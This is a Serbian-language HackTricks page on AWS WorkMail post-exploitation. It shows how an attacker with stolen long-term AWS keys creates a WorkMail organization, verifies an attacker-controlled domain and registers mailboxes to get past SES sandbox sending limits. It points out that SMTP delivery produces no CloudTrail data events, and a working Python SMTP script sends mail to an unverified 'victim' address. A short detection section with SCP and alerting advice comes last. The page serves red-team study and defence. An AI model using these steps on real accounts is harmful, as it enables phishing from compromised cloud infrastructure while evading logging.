AWS - WorkMail Post Exploitation

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Zloupotreba WorkMail-a za zaobilaženje SES sandbox

Čak i ako je SES zaglavljen u sandbox režimu (samo verifikovani primaoci, ~200 poruka/24h, 1 poruka/s), WorkMail nema ekvivalentno ograničenje. Napadač sa dugoročnim ključevima može brzo podići privremenu mail infrastrukturu i odmah početi sa slanjem:

  1. Kreirajte WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
  1. Verifikujte domene pod kontrolom napadača (WorkMail poziva SES API-je kao workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
  1. Kreirajte korisnike mailbox-a i registrujte ih:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Napomene:

  • Podrazumevano recipient cap dokumentovano od AWS-a: 100,000 external recipients/day per org (sabrano preko korisnika).
  • Aktivnost verifikacije domena pojaviće se u CloudTrail pod SES ali sa invokedBy: workmail.<region>.amazonaws.com, tako da SES verification događaji mogu pripadati WorkMail podešavanju umesto SES kampanja.
  • WorkMail mailbox korisnici postaju application-layer persistence nezavisno od IAM korisnika.

Putanje slanja i praznine u telemetrji

Web client (WorkMail UI)

  • Slanja se pojavljuju kao ses:SendRawEmail događaji u CloudTrail-u.
  • userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, tako da je prava IP adresa klijenta sakrivena.
  • requestParameters i dalje leak-uje informacije o pošiljaocu (source, fromArn, sourceArn, configuration set) kako bi se korelisalo sa novo verifikovanim domenima/mailbox-ima.

SMTP (najneupadljiviji)

  • Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) sa lozinkom mailbox-a.
  • No CloudTrail data events su generisani za SMTP delivery, čak i kada su SES data events omogućeni.
  • Idealne tačke detekcije su org/domain/user provisioning i SES identity ARNs koji se referenciraju u naknadnim web-poslatim SendRawEmail događajima.
Primer slanja SMTP putem WorkMail-a ```python import smtplib from email.message import EmailMessage

SMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”

target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

</details>

## Razmatranja za detekciju

- Ako WorkMail nije neophodan, blokirajte ga putem **SCPs** (`workmail:*` deny) na nivou organizacije.
- Podesite upozorenja pri provisioningu: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, i SES verifikacije sa `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Pratite anomalne **`ses:SendRawEmail`** događaje u kojima identity ARNs upućuju na nove domene, a source IP/UA je `workmail.<region>.amazonaws.com`.

## Reference

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

> [!TIP]
> Nauči & vežbaj AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Nauči & vežbaj GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Nauči & vežbaj Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Pogledajte [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **pratite** nas na **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hacking tricks slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>